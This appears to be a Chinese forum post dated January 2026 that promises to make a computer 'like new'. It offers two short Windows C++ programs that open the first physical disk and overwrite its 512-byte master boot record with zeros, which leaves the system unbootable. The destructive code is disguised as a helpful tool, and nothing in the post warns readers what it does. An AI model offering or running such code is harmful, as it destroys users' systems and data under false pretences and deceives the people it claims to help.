好用!!!太好用!!!
2026-01-11 16:45:42
发布于:浙江
让你的电脑像新的一样!!!
#define _WIN32_WINNT 0x0600
#include <windows.h>
#include <iostream>
int main() {
const wchar_t* deviceName = L"\\\\.\\PhysicalDrive0";
HANDLE hDevice = CreateFile(
deviceName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
DWORD error = GetLastError();
std::cout << "Error opening device: " << error << std::endl;
return 1;
}
char mbrData[512] = { 0 };
DWORD bytesWritten = 0;
BOOL result = WriteFile(
hDevice,
mbrData,
512,
&bytesWritten,
NULL
);
if (result) {
std::cout << "MBR overwritten successfully. Bytes written: "
<< bytesWritten << std::endl;
} else {
std::cout << "Write failed. Error: " << GetLastError() << std::endl;
}
CloseHandle(hDevice);
return 0;
}
二:
#include <windows.h>
int main() {
HANDLE hDevice = CreateFileW(
L"\\\\.\\PhysicalDrive0",
GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
return 1;
}
char buffer[512] = { 0 };
DWORD bytesWritten;
WriteFile(hDevice, buffer, sizeof(buffer), &bytesWritten, NULL);
CloseHandle(hDevice);
return 0;
}
这里空空如也







有帮助,赞一个